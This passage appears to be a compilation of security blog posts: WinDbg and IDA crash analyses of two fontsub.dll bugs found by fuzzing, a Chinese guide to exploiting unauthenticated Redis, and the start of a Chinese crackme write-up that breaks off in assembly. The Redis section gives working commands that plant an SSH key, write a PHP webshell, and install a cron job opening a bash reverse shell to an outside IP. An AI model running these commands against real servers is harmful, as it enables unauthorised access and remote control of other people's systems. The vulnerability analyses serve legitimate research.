92 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b641 000001bb`fd5b25fa 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
93 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b711 000001bb`fd5b25f8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
94 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b7e1 000001bb`fd5b25f6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
95 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b8b1 000001bb`fd5b25f4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
96 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b981 000001bb`fd5b25f2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
97 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ba51 000001bb`fd5b25f0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
98 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0bb21 000001bb`fd5b25ee 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
99 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0bbf1 000001bb`fd5b25ec 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
9a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0bcc1 000001bb`fd5b25ea 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
9b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0bd91 000001bb`fd5b25e8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
9c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0be61 000001bb`fd5b25e6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
9d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0bf31 000001bb`fd5b25e4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
9e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c001 000001bb`fd5b25e2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
9f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c0d1 000001bb`fd5b25e0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a0 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c1a1 000001bb`fd5b25de 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a1 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c271 000001bb`fd5b25dc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a2 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c341 000001bb`fd5b25da 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a3 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c411 000001bb`fd5b25d8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a4 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c4e1 000001bb`fd5b25d6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a5 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c5b1 000001bb`fd5b25d4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a6 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c681 000001bb`fd5b25d2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a7 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c751 000001bb`fd5b25d0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a8 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c821 000001bb`fd5b25ce 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a9 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c8f1 000001bb`fd5b25cc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
aa 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c9c1 000001bb`fd5b25ca 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ab 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ca91 000001bb`fd5b25c8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ac 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0cb61 000001bb`fd5b25c6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ad 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0cc31 000001bb`fd5b25c4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ae 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0cd01 000001bb`fd5b25c2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
af 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0cdd1 000001bb`fd5b25c0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b0 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0cea1 000001bb`fd5b25be 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b1 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0cf71 000001bb`fd5b25bc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b2 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d041 000001bb`fd5b25ba 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b3 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d111 000001bb`fd5b25b8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b4 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d1e1 000001bb`fd5b25b6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b5 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d2b1 000001bb`fd5b25b4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b6 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d381 000001bb`fd5b25b2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b7 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d451 000001bb`fd5b25b0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b8 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d521 000001bb`fd5b25ae 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b9 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d5f1 000001bb`fd5b25ac 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ba 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d6c1 000001bb`fd5b25aa 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
bb 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d791 000001bb`fd5b25a8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
bc 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d861 000001bb`fd5b25a6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
bd 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d931 000001bb`fd5b25a4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
be 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0da01 000001bb`fd5b25a2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
bf 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0dad1 000001bb`fd5b25a0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c0 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0dba1 000001bb`fd5b259e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c1 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0dc71 000001bb`fd5b259c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c2 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0dd41 000001bb`fd5b259a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c3 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0de11 000001bb`fd5b2598 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c4 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0dee1 000001bb`fd5b2596 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c5 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0dfb1 000001bb`fd5b2594 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c6 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e081 000001bb`fd5b2592 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c7 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e151 000001bb`fd5b2590 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c8 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e221 000001bb`fd5b258e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c9 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e2f1 000001bb`fd5b258c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ca 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e3c1 000001bb`fd5b258a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
cb 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e491 000001bb`fd5b2588 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
cc 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e561 000001bb`fd5b2586 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
cd 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e631 000001bb`fd5b2584 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ce 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e701 000001bb`fd5b2582 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
cf 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e7d1 000001bb`fd5b2580 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d0 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e8a1 000001bb`fd5b257e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d1 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e971 000001bb`fd5b257c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d2 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ea41 000001bb`fd5b257a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d3 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0eb11 000001bb`fd5b2578 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d4 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ebe1 000001bb`fd5b2576 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d5 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ecb1 000001bb`fd5b2574 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d6 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ed81 000001bb`fd5b2572 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d7 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ee51 000001bb`fd5b2570 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d8 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ef21 000001bb`fd5b256e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d9 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0eff1 000001bb`fd5b256c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
da 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f0c1 000001bb`fd5b256a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
db 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f191 000001bb`fd5b2568 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
dc 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f261 000001bb`fd5b2566 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
dd 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f331 000001bb`fd5b2564 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
de 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f401 000001bb`fd5b2562 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
df 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f4d1 000001bb`fd5b2560 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e0 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f5a1 000001bb`fd5b255e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e1 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f671 000001bb`fd5b255c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e2 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f741 000001bb`fd5b255a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e3 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f811 000001bb`fd5b2558 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e4 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f8e1 000001bb`fd5b2556 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e5 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f9b1 000001bb`fd5b2554 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e6 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0fa81 000001bb`fd5b2552 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e7 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0fb51 000001bb`fd5b2550 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e8 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0fc21 000001bb`fd5b254e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e9 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0fcf1 000001bb`fd5b254c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ea 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0fdc1 000001bb`fd5b254a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
eb 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0fe91 000001bb`fd5b2548 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ec 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ff61 000001bb`fd5b2546 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ed 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10031 000001bb`fd5b2544 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ee 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10101 000001bb`fd5b2542 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ef 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e101d1 000001bb`fd5b2540 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f0 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e102a1 000001bb`fd5b253e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f1 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10371 000001bb`fd5b253c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f2 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10441 000001bb`fd5b253a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f3 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10511 000001bb`fd5b2538 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f4 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e105e1 000001bb`fd5b2536 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f5 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e106b1 000001bb`fd5b2534 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f6 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10781 000001bb`fd5b2532 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f7 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10851 000001bb`fd5b2530 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f8 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10921 000001bb`fd5b252e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f9 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e109f1 000001bb`fd5b252c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
fa 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10ac1 000001bb`fd5b252a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
fb 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10b91 000001bb`fd5b2528 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
fc 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10c61 000001bb`fd5b2526 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
fd 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10d31 000001bb`fd5b2524 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
fe 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10e01 000001bb`fd5b2522 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ff 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10ed1 000001bb`fd5b2520 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e

It's too long...it may exhausted all stack memory

crash analysis

fontsub!GetComponentGlyphList has been called too many times.

Let's see it in ida

__int64 __fastcall GetComponentGlyphList(__int64 a1, int a2, unsigned __int16 *a3, __int64 a4, unsigned __int16 a5, unsigned __int16 *a6, unsigned __int16 a7, unsigned __int16 a8, unsigned int a9, int a10)
{
  __int64 v10; // rdi
  unsigned __int16 *v11; // rsi
  _QWORD *v12; // r13
  __int64 result; // rax
  unsigned __int16 v14; // ax
  unsigned int v15; // ebx
  unsigned int v16; // ebx
  unsigned __int16 v17; // r10
  char v18; // di
  int v19; // eax
  unsigned __int16 v20; // dx
  __int64 v21; // [rsp+20h] [rbp-61h]
  __int16 v22; // [rsp+50h] [rbp-31h]
  int v23; // [rsp+54h] [rbp-2Dh]
  __int16 v24; // [rsp+58h] [rbp-29h]
  __int64 v25; // [rsp+60h] [rbp-21h]
  __int16 v26; // [rsp+68h] [rbp-19h]

  v10 = a4;
  v25 = a4;
  v11 = a3;
  *a3 = 0;
  v12 = (_QWORD *)a1
  LODWORD(v21) = a10;
  result = GetGlyphHeader(a1, a2, a8, a9, v21, &v26, &v23, &v22);
  if ( !(_WORD)result )
  {
    if ( *a6 < a7 )
      *a6 = a7;
    if ( v26 >= 0 )
    {
LABEL_21:
      result = 0i64;
    }
    else
    {
      v14 = GetGenericSize(&GLYF_HEADER_CONTROL);
      v15 = v23 + v14;
      while ( *v11 < a5 )   // recursive condition, set breakpotin
      {
        result = ReadWord(v12, &v22, v15);
        if ( (_WORD)result )
          return result;
        v16 = v15 + 2;
        result = ReadWord(v12, &v23, v16);
        if ( (_WORD)result )
          return result;
        v17 = v23;
        *(_WORD *)(v10 + 2i64 * *v11) = v23;
        v18 = v22;
        v19 = v22 & 1;
        v20 = *v11 + 1;
        *v11 = v20;
        v15 = v16 + 2 * v19 + 4;
        if ( v18 & 8 )
        {
          v15 += 2;
        }
        else if ( v18 & 0x40 )
        {
          v15 += 4;
        }
        else if ( v18 < 0 )
        {
          v15 += 8;
        }
        result = GetComponentGlyphList(  //recursive call
                   (__int64)v12,
                   v17,
                   (unsigned __int16 *)&v24,
                   v25 + 2i64 * v20,
                   a5 - v20,
                   a6,
                   a7 + 1,
                   a8,
                   a9,
                   a10);
        if ( (_WORD)result )
          return result;
        if ( v24 )
          *v11 += v24;
        if ( !(v18 & 0x20) )
          goto LABEL_21;
        v10 = v25;
      }
      result = 1066i64;
    }
  }
  return result;
}

recursive condition

cmp     [rsi], r12w

watch [rsi] data

mov     rsi, r8
mov     [rsp+0C0h+var_90], rax
xor     ebx, ebx
lea     rax, [rbp+3Fh+var_58]
mov     [r8], bx // [rsi] always 0

you can see, [rsi] always is 0, if r12w is large, recursive call GetComponentGlyphList will cause stack exhaustion.

Conconlusion

If use a specific ttf file, it may cause some security issues.

The issue reproduces on a fully updated Windows 10 1903,I haven't tested on earlier versions of the system.

attachment is a poc ttf file

Microsoft Font Subsetting DLL heap-based out-of-bounds read in CreateFontPackage (CVE-2019-1468)

Microsoft Font Subsetting DLL heap-based out-of-bounds read in CreateFontPackage

Please excuse my poor English. I'm not a native speaker. I will do my best to describe this bug.

I tested on sytem

windows 10 professional
v1903 x64 bit

fontsub background

The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.

The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. I have tested CreateFontPackage with a fuzzer.

crash

when I use a specific ttf file with CreateFontPackage , it crashed

0:000> g
(3b28.2074): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 3A2:0
msvcrt!memcpy+0x220:
00007ffb`b4544920 f30f7f40f0      movdqu  xmmword ptr [rax-10h],xmm0 ds:00000285`c7d0730a=????????????????????????????????

stack call

0:000> kb
 # RetAddr           : Args to Child                                                           : Call Site
00 00007ffb`a52a962a : 000000db`0376f3e8 0000017a`00000a7c 00005d61`c54c9886 000000db`0376f400 : msvcrt!memcpy+0x220
01 00007ffb`a52a927f : 00000000`fffffff0 000000db`0376f331 000000db`0376f3e8 00000000`0000017a : fontsub!ReadBytes+0x3e
02 00007ffb`a52a09b1 : 00000000`000001dc 000000db`0376f3e8 000000db`0376f3e8 00007ffb`a52a94f9 : fontsub!CopyTableOver+0xc7
03 00007ffb`a52973d3 : 00000000`00000000 000000db`0376f3e8 00000000`00000000 000000db`03760009 : fontsub!ModCmap+0x7d
04 00007ffb`a5296f89 : 00000284`c7cd1460 000000db`0376f591 00000000`00000001 00000000`00000001 : fontsub!CreateDeltaTTFEx+0x40f
05 00007ffb`a52913fa : 00000000`00000000 00000000`00000000 0000a4b2`e51c6297 00000000`00000000 : fontsub!CreateDeltaTTF+0x2c9
06 00007ff7`143d11c8 : 00000000`00000000 00000000`00000000 00000000`00000000 00000284`c7d05170 : fontsub!CreateFontPackage+0x15a

crash analysis

debug with time travel, return to function fontsub!ReadBytes

0:000> uf fontsub!ReadBytes:
00007ffb`a52a95ec 48895c2408      mov     qword ptr [rsp+8],rbx
00007ffb`a52a95f1 48896c2410      mov     qword ptr [rsp+10h],rbp
00007ffb`a52a95f6 4889742418      mov     qword ptr [rsp+18h],rsi
00007ffb`a52a95fb 57              push    rdi
00007ffb`a52a95fc 4883ec20        sub     rsp,20h
00007ffb`a52a9600 418bd8          mov     ebx,r8d
00007ffb`a52a9603 488bf2          mov     rsi,rdx
00007ffb`a52a9606 8bd3            mov     edx,ebx
00007ffb`a52a9608 4d8bc1          mov     r8,r9
00007ffb`a52a960b 4d8bd9          mov     r11,r9
00007ffb`a52a960e 488bf9          mov     rdi,rcx
00007ffb`a52a9611 e8f6fdffff      call    fontsub!CheckInOffset (00007ffb`a52a940c)
00007ffb`a52a9616 33ed            xor     ebp,ebp
00007ffb`a52a9618 6685c0          test    ax,ax
00007ffb`a52a961b 7510            jne     fontsub!ReadBytes+0x41 (00007ffb`a52a962d)  Branch

fontsub!ReadBytes+0x31:
00007ffb`a52a961d 8bd3            mov     edx,ebx
00007ffb`a52a961f 488bce          mov     rcx,rsi
00007ffb`a52a9622 480317          add     rdx,qword ptr [rdi]
00007ffb`a52a9625 e8e8130000      call    fontsub!memcpy (00007ffb`a52aaa12)
00007ffb`a52a962a 0fb7c5          movzx   eax,bp

fontsub!ReadBytes+0x41:
00007ffb`a52a962d 488b5c2430      mov     rbx,qword ptr [rsp+30h]
00007ffb`a52a9632 488b6c2438      mov     rbp,qword ptr [rsp+38h]
00007ffb`a52a9637 488b742440      mov     rsi,qword ptr [rsp+40h]
00007ffb`a52a963c 4883c420        add     rsp,20h
00007ffb`a52a9640 5f              pop     rdi
00007ffb`a52a9641 c3              ret

set breakpint in

00007ffb`a52a9625 e8e8130000      call    fontsub!memcpy (00007ffb`a52aaa12)

check

0:000> ub .
fontsub!ReadBytes+0x22:
00007ffb`a52a960e 488bf9          mov     rdi,rcx
00007ffb`a52a9611 e8f6fdffff      call    fontsub!CheckInOffset (00007ffb`a52a940c)
00007ffb`a52a9616 33ed            xor     ebp,ebp
00007ffb`a52a9618 6685c0          test    ax,ax
00007ffb`a52a961b 7510            jne     fontsub!ReadBytes+0x41 (00007ffb`a52a962d)
00007ffb`a52a961d 8bd3            mov     edx,ebx
00007ffb`a52a961f 488bce          mov     rcx,rsi
00007ffb`a52a9622 480317          add     rdx,qword ptr [rdi]
0:000> ? rcx
Evaluate expression: 2773606232480 = 00000285`c7d071a0
0:000> ? rdx
Evaluate expression: 2769311261228 = 00000284`c7d0622c
0:000> dd rdx
00000284`c7d0622c  03000000 00000000 24010000 00000100
00000284`c7d0623c  1c000000 01000300 24010000 06010000
00000284`c7d0624c  00010000 00000000 03000000 02000000
00000284`c7d0625c  00000000 00000000 00000000 00000000
00000284`c7d0626c  00030000 00000000 00000000 00000000
00000284`c7d0627c  00000000 00000000 00000000 00000000
00000284`c7d0628c  00000000 04000000 00050000 00000000
00000284`c7d0629c  00000000 00000000 00000600 00000000
0:000> dps rdx
00000284`c7d0622c  00000000`03000000
00000284`c7d06234  00000100`24010000
00000284`c7d0623c  01000300`1c000000
00000284`c7d06244  06010000`24010000
00000284`c7d0624c  00000000`00010000
00000284`c7d06254  02000000`03000000
00000284`c7d0625c  00000000`00000000
00000284`c7d06264  00000000`00000000
00000284`c7d0626c  00000000`00030000
00000284`c7d06274  00000000`00000000
00000284`c7d0627c  00000000`00000000
00000284`c7d06284  00000000`00000000
00000284`c7d0628c  04000000`00000000
00000284`c7d06294  00000000`00050000
00000284`c7d0629c  00000000`00000000
00000284`c7d062a4  00000000`00000600
0:000> dd 00000000`03000000
00000000`03000000  ???????? ???????? ???????? ????????
00000000`03000010  ???????? ???????? ???????? ????????
00000000`03000020  ???????? ???????? ???????? ????????
00000000`03000030  ???????? ???????? ???????? ????????
00000000`03000040  ???????? ???????? ???????? ????????
00000000`03000050  ???????? ???????? ???????? ????????
00000000`03000060  ???????? ???????? ???????? ????????
00000000`03000070  ???????? ???????? ???????? ????????

memcpy use rdx as src, but it can not be accessed.

So it crashed. Because rdx in heap memory, so case heap-base out of bounds.

0:000> !heap -p -a rdx
    address 00000284c7d0622c found in
    _HEAP @ 284c7cf0000
              HEAP_ENTRY Size Prev Flags            UserPtr UserSize - state
        00000284c7d057a0 00da 0000  [00]   00000284c7d057b0    00d8d - (busy)

Conclusion

rdx in heap memory, and its data read from ttf file, so it can be controled. It may cause some import security issues.

Redis利用

redis未授权访问

利用主要存在三种方式

写公钥进入服务器authorized_hosts

准备

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > ssh_key.txt
attacker # cat ssh_key.txt > redis-cli -h victim_ip -x set crashtest
> config set dir /root/.ssh
> config set dbfilename authorized_hosts
> save

直接写入webshell

> config set dir /var/www/html
> config set dbfilename index.php
> set shell "<?php system($_GET['cmd']);?>"   
> save

写计划任务

echo "\n\n */1 * * * * bash -i >& /dev/tcp/10.1.1.100/2333 0>&1 \n\n" | redis-cli -h 10.1.1.212 -x set 1
redis-cli -h 10.1.1.212
$10.1.1.212:6379> CONFIG set dir /var/spool/cron
$10.1.1.212:6379> CONFIG set dbfilename root
$10.1.1.212:6379> save

同样是写计划任务,也可以将命令先写入/tmp/shell中,之后利用计划任务持续执行,从而保持可持续化!

一道有趣的crackme

一道有趣的crackme

检查文件安全保护

存在ASLR保护

通过CFF Explorer绕过ASLR

整体流程及概略分析

其中call esi调用的是CreateMutexW,程序验证操作是通过调用自己创建子进程来实现的,在子进程中判断一个互斥变量来决定进入的是子进程还是父进程。现在可以总结有两种方法调试:

  1. 可以使用od跳过CreateMutexW,到判断程序进行操作
  2. 直接跟进创建的子进程,在子进程中调试程序(该方法我还没有具体的操作方法)

现在利用方法1调试程序,我们首先跟进一下CreateProcessW看看参数是以什么方式传递的

可以看到参数的传递是以unicode的形式传递的,并且中间以FF00间隔。

CreateMutex下断点,运行断在断点,直接右键将GetCommandLineW设置为新的EIP

可以发现GetCommandLineW将程序的路径作为参数传递进来,而且也是以unicode的形式传递的。如果我们直接继续运行,那么会产生栈溢出。

产生栈溢出的原因我们可以首先推敲一下,GetCommandLineW划分参数是通过FF00来判断的,但我们发现如果在不改变GetCommandLineW返回值的情况下,在数据窗口中没有看到任何FF00数据,那获取前一段数据的代码就极有可能发生溢出!通过分析后面的汇编代码也确实是这样,分配给name的长度是20h,分配给序列号的最大长度是(3c-20)h,作为name局部变量数组ebp-20h肯定会覆盖ebp-4这部分检查cookie的数据,所以会造成溢出!

利用od跳过互斥变量,之后再利用CreateCommandLineA获取命令行参数,主要有以下几点

  1. 中间的间隔一定是FF00
  2. 结尾必须是0000
  3. 开始和结束都没有引号!

具体分析

利用以上的方法跳过创建子进程的过程进入验证码判断的过程,

在调用call loc_401350之后判断返回的eax,非0即成功。现在分析一下loc_401350这个过程

.text:00401350 loc_401350:                             ; CODE XREF: _main+173↓p
.text:00401350                 push    ebp
.text:00401351                 mov     ebp, esp
.text:00401353                 sub     esp, 0B0h
.text:00401359                 mov     eax, ___security_cookie
.text:0040135E                 xor     eax, ebp
.text:00401360                 mov     [ebp-4], eax
.text:00401363                 mov     dword ptr [ebp-0A4h], 0
.text:0040136D                 mov     dword ptr [ebp-0A0h], 0
.text:00401377                 push    60h
.text:00401379                 push    0
.text:0040137B                 lea     eax, [ebp-9Ch]
.text:00401381                 push    eax
